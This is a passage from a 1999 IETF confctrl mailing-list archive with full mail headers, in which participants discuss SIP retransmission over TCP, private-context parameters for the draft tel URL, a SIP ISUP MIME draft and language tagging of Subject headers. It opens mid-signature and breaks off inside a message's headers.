FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Mon Aug 30 11:04:04 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA10956
	for confctrl-outgoing; Mon, 30 Aug 1999 11:04:04 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA10951
	for <confctrl@zephyr.isi.edu>; Mon, 30 Aug 1999 11:04:03 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id LAA21261
	for <confctrl@isi.edu>; Mon, 30 Aug 1999 11:04:02 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Mon Aug 30 14:03:34 EDT 1999
Received: from dnrc.bell-labs.com (arrakis.dnrc.bell-labs.com [135.180.130.41])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id OAA07529;
	Mon, 30 Aug 1999 14:03:34 -0400 (EDT)
Message-ID: <37CAC77E.40E09A25@dnrc.bell-labs.com>
Date: Mon, 30 Aug 1999 14:03:42 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.61 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Sean Olson <eussean@exu.ericsson.se>
CC: confctrl@ISI.EDU, shbhatna@cisco.com
Subject: Re: SIP over TCP question
References: <199908252158.QAA29005@b04a45.exu.ericsson.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Sean Olson wrote:
> 
> > When running SIP over TCP, what should the UAC do if he does not see
> > any response within 500 ms of sending the INVITE ?
> >
> > 1 Just terminate the session
> 
> After 500ms.... I guess that's highly dependent on your particular
> application, but in general, no.
> 
> > 2 Wait for another second ( Even UDP will not wait for more than 3
> > seconds, since UDP client will get a ICMP error on the second
> > or third INVITE).
> >
> 
> This is not the same situation as a UDP client receiving an ICMP error.
> Based on the reasons given in section 10.5 "Reliability for INVITE Requests",
> I would argue that you should wait the same amount of time that you would
> wait for UDP, you simply would not re-transmit the INVITE. In other words,
> approx. 63 1/2 seconds (1/2 + 1 + 2 + 4 + 16 + 32)

If there is no server listening on the port, you won't be able to open
the TCP connection anyway, so you'll get an error right away. If the TCP
connection can be opened, but you get no response to the INVITE, I agree
probably you should wait the 64 seconds and then give up.  Don't
retransmit the request, though, since it doesn't do any good (the server
will get it the first time because of TCP). Probably we should add a
sentence to this effect in the spec.

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Mon Aug 30 11:31:20 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA11992
	for confctrl-outgoing; Mon, 30 Aug 1999 11:31:20 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA11987
	for <confctrl@zephyr.isi.edu>; Mon, 30 Aug 1999 11:31:19 -0700 (PDT)
Received: from omzrelay02.mcit.com (omzrelay02.mcit.com [199.249.19.244])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA24694
	for <confctrl@isi.edu>; Mon, 30 Aug 1999 11:31:18 -0700 (PDT)
Received: from omzrelay.mcit.com ([166.37.204.49])
 by firewall.mcit.com (PMDF V5.2-32 #38417)
 with ESMTP id <0FHA007XPJCF25@firewall.mcit.com> for confctrl@isi.edu; Mon,
 30 Aug 1999 18:29:03 +0000 (GMT)
Received: from omzmta03.mcit.com (omzmta03.mcit.com [166.37.194.121])
 by omzrelay.mcit.com (8.8.7/) with ESMTP	id SAA06403; Mon,
 30 Aug 1999 18:30:22 +0000 (GMT)
Received: from dwillispc ([166.35.226.123])
 by omzmta03.mcit.com (InterMail v03.02.05 118 121 101)
 with SMTP id <19990830182900.JXFO14326@dwillispc>; Mon,
 30 Aug 1999 18:29:00 +0000
Date: Mon, 30 Aug 1999 13:18:31 -0500
From: Dean Willis <dean.willis@wcom.com>
Subject: RE: MMUSIC+PINT joint WG Last Call draft-antti-telephony-url-09.txt
In-reply-to: <199908241605.MAA05658@holta.ho.lucent.com>
To: pint@lists.research.bell-labs.com, confctrl@ISI.EDU
Message-id: <001601bef314$106c96c0$58d0fea9@mcit.com>
MIME-version: 1.0
X-MIMEOLE: Produced By Microsoft MimeOLE V5.00.2615.200
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
Content-type: text/plain;	charset="iso-8859-1"
Content-transfer-encoding: 7bit
Importance: Normal
X-Priority: 3 (Normal)
X-MSMail-priority: Normal
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Lawrence made a key point for me in his discussion of
draft-antti-telephony-url-09.txt.

The draft, as it exists, has no clearly delineated mechanism for supporting
private context. Some of the folks in the office believe this to be a "show
stopper" on acceptance of the current draft. Private context seems to me to
be a key enabler for virtual private dial neworks (VPDNS), or private
numbering plans, and that's a very important application.

In fact, I see two different sorts of private context.

For routing functions in GSTN, we use the dialed-digit string and Nature of
Address (NOA) and Numbering Plan Indicator (NPI) values from ISUP. NOA
includes scopes like "global", "local", and "private", and NPI provides a
code point for differentiating between numbering plans at the same scope
level. To represent this in a URL, we need to have some equivalent function.

At the raw switch level there is no understanding of numbering plans, etc.
All the switches can do is outpulse a dialed digit string onto a trunk which
is part of a trunk group (TG). That is, dialed 8227891 on trunk group 1
might go someplace very different than dialed 8227891 on trunk group 2 of a
given switch. To terminate a call from IP into a switch (without making
another IN call), we need to be able to specify the correct trunk group to
use. It would be nice to be able to represent this in the URL as well.

I had initially considered proposing to use the future-extension syntax of
draft-antti-telephony-url-09.txt to provide for NOA, NPI, and TG. It would
be easy enough to add ";NOA=1;NPI=2345" or ";TG=23456" to a TEL URL this
way.

Perhaps the PINT "private context" notation would be equally useful.

Of course, it would nice if the representation of private context for NOA,
NPI, and TG were standardized, as this would make buying gateways much
easier . . .

Thoughts?

--
Dean Willis



From confctrl-owner  Mon Aug 30 15:37:02 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA23003
	for confctrl-outgoing; Mon, 30 Aug 1999 15:37:02 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA22998
	for <confctrl@zephyr.isi.edu>; Mon, 30 Aug 1999 15:37:01 -0700 (PDT)
Received: from l3mail02.level3.com (l3mail02.l3.com [209.119.32.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id PAA24453
	for <confctrl@ISI.EDU>; Mon, 30 Aug 1999 15:37:00 -0700 (PDT)
From: Aparna.Vemuri@Level3.com
Received: by level3.com with Internet Mail Service (5.5.2448.0)
	id <RS974GWG>; Mon, 30 Aug 1999 16:35:39 -0600
Message-ID: <6DD3824BDF75D211930E0008C71EC92004096605@l3lsvlmail02.l3.com>
To: confctrl@ISI.EDU
Cc: ericz@ipverse.com
Subject: SIP ISUP MIME type
Date: Mon, 30 Aug 1999 16:31:42 -0600
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hello,

This is a new draft about the SIP ISUP MIME type.

http://www.ietf.org/internet-drafts/draft-zimmerer-mmusic-sip-isup-mime-00.t
xt

Comments/ suggestions are welcome.

Thanks,
Aparna V.
Level 3 Communications



From confctrl-owner  Mon Aug 30 18:22:04 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id SAA29735
	for confctrl-outgoing; Mon, 30 Aug 1999 18:22:04 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id SAA29730
	for <confctrl@zephyr.isi.edu>; Mon, 30 Aug 1999 18:22:03 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id SAA12149
	for <confctrl@isi.edu>; Mon, 30 Aug 1999 18:22:02 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Mon Aug 30 21:20:16 EDT 1999
Received: from bell-labs.com (IDENT:jdrosen@[135.17.253.69])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id VAA14002;
	Mon, 30 Aug 1999 21:20:09 -0400 (EDT)
Message-ID: <37CB2E1D.6C22BDAB@bell-labs.com>
Date: Mon, 30 Aug 1999 21:21:33 -0400
From: Jonathan Rosenberg <jdrosen@bell-labs.com>
X-Mailer: Mozilla 4.61 [en] (X11; U; Linux 2.2.5-15 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Igor Faynberg <faynberg@lucent.com>
CC: pint@lists.research.bell-labs.com, confctrl@ISI.EDU,
        antti.vaha-sipila@nokia.com
Subject: Re: MMUSIC+PINT joint WG Last Call
References: <199908241605.MAA05658@holta.ho.lucent.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Igor Faynberg wrote:
> 
> MMUSIC and PINT participants:
> 
> Following the advice of Transport Area Directors, this is to announce a
> 
> WG last call on 'draft-antti-telephony-url-09.txt'. The document is
> ------------     --------------------------------
> to be reviewed by both groups on a subject of becoming PROPOSED
> 
> STANDARD by September 7,1999.

Two comments:

1. The draft has a very particular usage for these URL's in mind. The
basic idea is that a user "receiving" this URL would directly dial the
number indicated. In fact, from the document itself:

> These URL schemes are used to direct the user agent to place a call
>    using the telephone network. The network in question may be a


It is for this reason that post dial sequences, for example, make
perfect sense. However, in the usage envisioned in SIP (perhaps others
see it used differently), the tel URL would identify a GSTN subscriber,
be included in the request URI and To field of the INVITE, and sent to
some local proxy. THe proxy, using enum and/or GLP, translates this to a
full SIP URL, so it can route the request. This SIP URL is then placed
in the request URI. In this case, the URI is used to identify the
resource, rather than indicate the means to dial a number to contact it.
In this usage, including things like post dial sequences just doesn't
make sense, since the original user of the tel URL is never actually
going to dial the number. Thus, perhaps some kind of rewording softening
this usage would be nice.

2. One of the things that came up at the last meeting from the DCS
documents was a proposal to add some values to the user parameter in the
SIP URL. Right now, SIP allows user=ip and user=phone. The suggestion
was to add user=lnp-phone and user=private. It seems that two of these
make a lot of sense for the tel URL. In particular, it seems highly
desirable to know whether a tel URL represents a number that has already
been translated, as is the purpose of the user=lnp-phone parameter. This
makes sense when one considers that tel URL's might be used in places
like megaco (?) as well. Its not useful when the application of the tel
URL is restricted to indicating a number a user should dial, but makes
more sense in broader applications like SIP/megaco integration with SS7
(see my point above).

Thanks,
Jonathan R.
-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Tue Aug 31 06:54:38 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA24077
	for confctrl-outgoing; Tue, 31 Aug 1999 06:54:38 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA24072
	for <confctrl@zephyr.isi.edu>; Tue, 31 Aug 1999 06:54:37 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA12652
	for <confctrl@ISI.EDU>; Tue, 31 Aug 1999 06:54:36 -0700 (PDT)
Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id JAA03415;
	Tue, 31 Aug 1999 09:54:34 -0400 (EDT)
Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191])
	by opus.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id JAA14036;
	Tue, 31 Aug 1999 09:54:34 -0400 (EDT)
Message-ID: <37CBDE96.22B496D2@cs.columbia.edu>
Date: Tue, 31 Aug 1999 09:54:30 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.61 [en] (X11; U; SunOS 5.7 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
CC: Scott Petrack <scott.petrack@metatel.com>, confctrl <confctrl@ISI.EDU>
Subject: Re: How to indicate that the Subject: headers is non-English
References: <Pine.LNX.4.10.9908261942230.738-100000@petrack.metatel.com> <37CA9B72.168DDFBC@dnrc.bell-labs.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Jonathan Rosenberg wrote:
> 
> How would the application know what language was being written anyway?
> Would I have to select "Spanish" before saying that the subject of the
> call is "Una fiesta"? What happens if the subject contains a mix of
> words from different languages (very common)?

UTF-8 does allow labeling of substrings by language, so this could be
done, but I agree that this is not likely to be of much use in practice.
One reasonable exception I can think of is that it might be used for
automatic call routing. I suppose a tool could make this part of the
configuration - if I use an English-language tool, the Subject text
would be marked as such. Doesn't deal with me speaking German, but this
is probably not that common. I believe there are even AI tools that
automatically determine the language, but those would probably be better
used at the language-aware ACD than at a client.

>  In any case, I'm not sure
> what the receiving side would do with this information.
> 
> So, I think the right thing to do is just render them as sent, and not
> worry about what language its actually in.

Agreed, although the in-band marking would be harmless if used.

> 
> Its worth noting that supporting UTF-8 is pretty much a freebie in
> proxy/redirect/registrar servers, since they don't need to render or
> parse any text that is allowed to be UTF-8. A UTF-8 string with
> non-ASCII characters is still an array of null terminated bytes, so your
> normal strcmp, strcpy, and so on, will still work fine.

The only exception is strcmp for > or < comparison, e.g., if you want to
sort a caller list.


-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Tue Aug 31 08:43:44 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA28243
	for confctrl-outgoing; Tue, 31 Aug 1999 08:43:44 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA28238
	for <confctrl@zephyr.isi.edu>; Tue, 31 Aug 1999 08:43:42 -0700 (PDT)
Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210] (may be forged))
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA19838
	for <confctrl@ISI.EDU>; Tue, 31 Aug 1999 08:43:41 -0700 (PDT)
Received: from otter.hpl.hp.com (otter.hpl.hp.com [15.144.59.2])
	by atlrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id LAA26318;
	Tue, 31 Aug 1999 11:42:35 -0400 (EDT)
Received: from hplb.hpl.hp.com (kristensen-a-4.hpl.hp.com [15.144.26.238])
	by otter.hpl.hp.com (8.9.3/HP-Labs Bristol Internal Mail Hub) with ESMTP id QAA00945;
	Tue, 31 Aug 1999 16:43:06 +0100 (BST)
Message-ID: <37CBF82D.82B1A372@hplb.hpl.hp.com>
Date: Tue, 31 Aug 1999 16:43:41 +0100
From: Anders Kristensen <ak@hplb.hpl.hp.com>
Organization: HP Labs
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
CC: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>,
        Scott Petrack <scott.petrack@metatel.com>, confctrl <confctrl@ISI.EDU>
Subject: Re: How to indicate that the Subject: headers is non-English
References: <Pine.LNX.4.10.9908261942230.738-100000@petrack.metatel.com> <37CA9B72.168DDFBC@dnrc.bell-labs.com> <37CBDE96.22B496D2@cs.columbia.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Henning Schulzrinne wrote:
> 
> Jonathan Rosenberg wrote:
> >
> > How would the application know what language was being written anyway?
> > Would I have to select "Spanish" before saying that the subject of the
> > call is "Una fiesta"? What happens if the subject contains a mix of
> > words from different languages (very common)?
> 
> UTF-8 does allow labeling of substrings by language, so this could be
> done, but I agree that this is not likely to be of much use in practice.
> One reasonable exception I can think of is that it might be used for
> automatic call routing.

One concern might be whether many unicode libraries support the language
tagging mechanism. I'm pretty sure the Java Unicode reader with which
I'm familiar doesn't support getting (or setting) these language tags. 
One alternative might be to assume that the Subject language is the
Accept-Language language with the highest quality value. This is a hack
but it doesn't seem *completely* inappropriate to assume that the
language someone wants response phrases in is also the language in which
(s)he would formulate subjects(?)

Anders

-- 
Anders Kristensen <ak@hplb.hpl.hp.com>,
http://www-uk.hpl.hp.com/people/ak/
Hewlett-Packard Labs, Bristol, UK

From confctrl-owner  Tue Aug 31 11:11:53 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA04314
	for confctrl-outgoing; Tue, 31 Aug 1999 11:11:53 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA04309
	for <confctrl@zephyr.isi.edu>; Tue, 31 Aug 1999 11:11:52 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA08215
	for <confctrl@ISI.EDU>; Tue, 31 Aug 1999 11:11:51 -0700 (PDT)
Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id OAA23859;
	Tue, 31 Aug 1999 14:11:48 -0400 (EDT)
Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191])
	by opus.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id OAA20974;
	Tue, 31 Aug 1999 14:11:47 -0400 (EDT)
Message-ID: <37CC1ADF.3F123567@cs.columbia.edu>
Date: Tue, 31 Aug 1999 14:11:43 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.61 [en] (X11; U; SunOS 5.7 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
CC: Sean Olson <eussean@exu.ericsson.se>, confctrl@ISI.EDU, shbhatna@cisco.com
Subject: Re: SIP over TCP question
References: <199908252158.QAA29005@b04a45.exu.ericsson.se> <37CAC77E.40E09A25@dnrc.bell-labs.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Jonathan Rosenberg wrote:
> 
> Sean Olson wrote:
> >
> > > When running SIP over TCP, what should the UAC do if he does not see
> > > any response within 500 ms of sending the INVITE ?
> > >
> > > 1 Just terminate the session
> >
> > After 500ms.... I guess that's highly dependent on your particular
> > application, but in general, no.
> >
> > > 2 Wait for another second ( Even UDP will not wait for more than 3
> > > seconds, since UDP client will get a ICMP error on the second
> > > or third INVITE).
> > >
> >
> > This is not the same situation as a UDP client receiving an ICMP error.
> > Based on the reasons given in section 10.5 "Reliability for INVITE Requests",
> > I would argue that you should wait the same amount of time that you would
> > wait for UDP, you simply would not re-transmit the INVITE. In other words,
> > approx. 63 1/2 seconds (1/2 + 1 + 2 + 4 + 16 + 32)
> 
> If there is no server listening on the port, you won't be able to open
> the TCP connection anyway, so you'll get an error right away. If the TCP
> connection can be opened, but you get no response to the INVITE, I agree
> probably you should wait the 64 seconds and then give up.  Don't
> retransmit the request, though, since it doesn't do any good (the server
> will get it the first time because of TCP). Probably we should add a
> sentence to this effect in the spec.
> 

The spec already spells out that TCP requests are not retransmitted. Is
there a need to specify a definite timeout interval? It seems like
that's strictly up to the patience of the client. If a client believes
that it is going to get a response after two hours, why keep it from
doing that?

-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Tue Aug 31 12:11:21 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA06487
	for confctrl-outgoing; Tue, 31 Aug 1999 12:11:21 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA06480
	for <confctrl@zephyr.isi.edu>; Tue, 31 Aug 1999 12:11:14 -0700 (PDT)
Received: from repulse.cnchost.com (repulse.concentric.net [207.155.248.4])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id MAA15590
	for <confctrl@ISI.EDU>; Tue, 31 Aug 1999 12:11:13 -0700 (PDT)
Received: from [192.168.10.5] (ts019d02.cht-ma.concentric.net [206.173.29.158])
	by repulse.cnchost.com
	id PAA24087; Tue, 31 Aug 1999 15:10:44 -0400 (EDT)
	[ConcentricHost SMTP Relay 1.7]
Date: Tue, 31 Aug 1999 15:13:17 -0400 (EDT)
From: Scott Petrack <scott.petrack@metatel.com>
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
cc: Sean Olson <eussean@exu.ericsson.se>, confctrl@ISI.EDU, shbhatna@cisco.com
Subject: Re: SIP over TCP question
In-Reply-To: <37CAC77E.40E09A25@dnrc.bell-labs.com>
Message-ID: <Pine.LNX.4.10.9908311503110.5652-100000@petrack.metatel.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



On Mon, 30 Aug 1999, Jonathan Rosenberg wrote:

> If there is no server listening on the port, you won't be able to open
> the TCP connection anyway, so you'll get an error right away. If the TCP
> connection can be opened, but you get no response to the INVITE, I agree
> probably you should wait the 64 seconds and then give up.  Don't
> retransmit the request, though, since it doesn't do any good (the server
> will get it the first time because of TCP). Probably we should add a
> sentence to this effect in the spec.
> 

I've always disliked all statements like "over UDP do this, but over TCP
do that." It might be wasteful to retransmit over TCP, but then again,
maybe not. Maybe the TCP got the bytes, but somehow the application never
gets them, or makes a mistake putting the bytes back together into SIP
requests....

Can't we just say that SIP is independent of the underlying transport, be
it UDP, TCP or carrier-pigeon? And that correct SIP retransmission code
is a part of SIP. Will we need to add to the draft how/when to
retransmit if FedEx is used instead of carrier-pigeon?  (Maybe the package
will arrive, but the secretary will forget to give it to me....).

I would also like to train people to have correct retransmission timer
code in their implementations. Suppose today I write none because I am
running on TCP, so I "dont have to worry about retransmissions". Then
tomorrow I replace TCP by UDP. Chances are I'll write crappy
retransmission timers, because I want to make a "minimal change". Let's
just tell people to retransmit properly in the same way all the time.

Sorry for the rant.

Scott


From confctrl-owner  Tue Aug 31 14:14:55 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA11499
	for confctrl-outgoing; Tue, 31 Aug 1999 14:14:55 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA11494
	for <confctrl@zephyr.isi.edu>; Tue, 31 Aug 1999 14:14:52 -0700 (PDT)
Received: from ericsson.com (gwa.ericsson.com [198.215.127.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA28084
	for <confctrl@ISI.EDU>; Tue, 31 Aug 1999 14:14:47 -0700 (PDT)
Received: from mr3.exu.ericsson.se (mr3a.ericsson.com [198.215.127.159])
	by ericsson.com (8.9.3/8.9.3) with ESMTP id QAA28242;
	Tue, 31 Aug 1999 16:14:08 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr3.exu.ericsson.se (8.9.3/8.9.3) with ESMTP id QAA04002;
	Tue, 31 Aug 1999 16:14:08 -0500 (CDT)
Received: from b04a24.exu.ericsson.se (b04a24 [138.85.60.124]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id QAA29396; Tue, 31 Aug 1999 16:14:06 -0500 (CDT)
Received: (from exuadam@localhost)
	by b04a24.exu.ericsson.se (8.9.1/8.9.1) id QAA22749;
	Tue, 31 Aug 1999 16:14:02 -0500 (CDT)
Message-Id: <199908312114.QAA22749@b04a24.exu.ericsson.se>
Subject: Re: SIP over TCP question
To: scott.petrack@metatel.com (Scott Petrack)
Date: Tue, 31 Aug 1999 16:14:01 -0500 (CDT)
Cc: jdrosen@dnrc.bell-labs.com, eussean@exu.ericsson.se, confctrl@ISI.EDU,
        shbhatna@cisco.com
In-Reply-To: <Pine.LNX.4.10.9908311503110.5652-100000@petrack.metatel.com> from "Scott Petrack" at Aug 31, 99 03:13:17 pm
From: "Adam B. Roach" <Adam.Roach@Ericsson.com>
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>I've always disliked all statements like "over UDP do this, but over TCP
>do that." It might be wasteful to retransmit over TCP, but then again,
>maybe not. Maybe the TCP got the bytes, but somehow the application never
>gets them, or makes a mistake putting the bytes back together into SIP
>requests....

And you think your application will do a better job of ensuring 
reliability than TCP? Surely you jest.

The only reason I can ever see anyone implementing a SIP node using
TCP is to avoid the issues of ensuring reliability (although I'll
admit this is somewhat ruined by the fact that an ACK can follow
its own path, so INVITE final responses need retransmission; but that's
another issue [which, incidentally, could be trivially solved by
the obvious method of forcing ACKs to follow the same path as their
corresponding INVITEs]).

If the distinctions bother you, I'd propose that you should be railing 
against the presence of multiple transmission types in the protocol
instead of the differences between them.

>Can't we just say that SIP is independent of the underlying transport, be
>it UDP, TCP or carrier-pigeon? And that correct SIP retransmission code
>is a part of SIP. Will we need to add to the draft how/when to
>retransmit if FedEx is used instead of carrier-pigeon?  (Maybe the package
>will arrive, but the secretary will forget to give it to me....).

The distinction being made is between two fundamentally different types
of transport: reliable (confirmed) vs. unreliable. For an unreliable
transport, it is the application's responsibility to ensure that
a packet has been received and acknowledged. For a reliable transport,
all of that work is already done "behind the curtain." There is no
point in duplicating it.

To address your specific points (and others): 

Carrier pigeon              -- Unreliable -- Retransmit
FedEx w/office secretary    -- Unreliable -- Retransmit
RDP/IP                      -- Reliable   -- Don't retransmit
Raw RS-232                  -- Unreliable -- Retransmit
ATM w/assured operation     -- Reliable   -- Don't retransmit
ATM w/non-assured operation -- Unreliable -- Retransmit
MDTP/IP                     -- Reliable   -- Don't retransmit

And so on. It's not a difficult distinction to make.

>I would also like to train people to have correct retransmission timer
>code in their implementations. Suppose today I write none because I am
>running on TCP, so I "dont have to worry about retransmissions". Then
>tomorrow I replace TCP by UDP. Chances are I'll write crappy
>retransmission timers, because I want to make a "minimal change". Let's
>just tell people to retransmit properly in the same way all the time.

If you'll write crappy retransmission timers when adding UDP, I'd
bet good money that you'll write crappy retransmission timers the
first time around anyway.

People will write crappy code no matter how you attempt to socially
engineer them. More importantly, that's not our job.

--
Adam Roach, Ericsson Inc. |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
adam.roach@ericsson.com   | Fax: +1 972 669 0154 | Richardson, TX 75081 USA

From confctrl-owner  Tue Aug 31 14:21:29 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA11814
	for confctrl-outgoing; Tue, 31 Aug 1999 14:21:29 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA11809
	for <confctrl@zephyr.isi.edu>; Tue, 31 Aug 1999 14:21:28 -0700 (PDT)
Received: from gwu.ericy.com (gwu.ericy.com [208.196.3.162])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA28791
	for <confctrl@ISI.EDU>; Tue, 31 Aug 1999 14:21:27 -0700 (PDT)
Received: from mr4.exu.ericsson.se (mr4u.ericy.com [208.238.116.99])
	by gwu.ericy.com (8.9.3/8.9.3) with ESMTP id QAA22651;
	Tue, 31 Aug 1999 16:18:33 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr4.exu.ericsson.se (8.9.3/8.9.3) with ESMTP id QAA05374;
	Tue, 31 Aug 1999 16:18:33 -0500 (CDT)
Received: from b04a45.exu.ericsson.se (b04a45 [138.85.60.145]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id QAA29655; Tue, 31 Aug 1999 16:18:32 -0500 (CDT)
From: Sean Olson <eussean@exu.ericsson.se>
Received: (from eussean@localhost)
	by b04a45.exu.ericsson.se (8.9.1/8.9.1) id QAA18338;
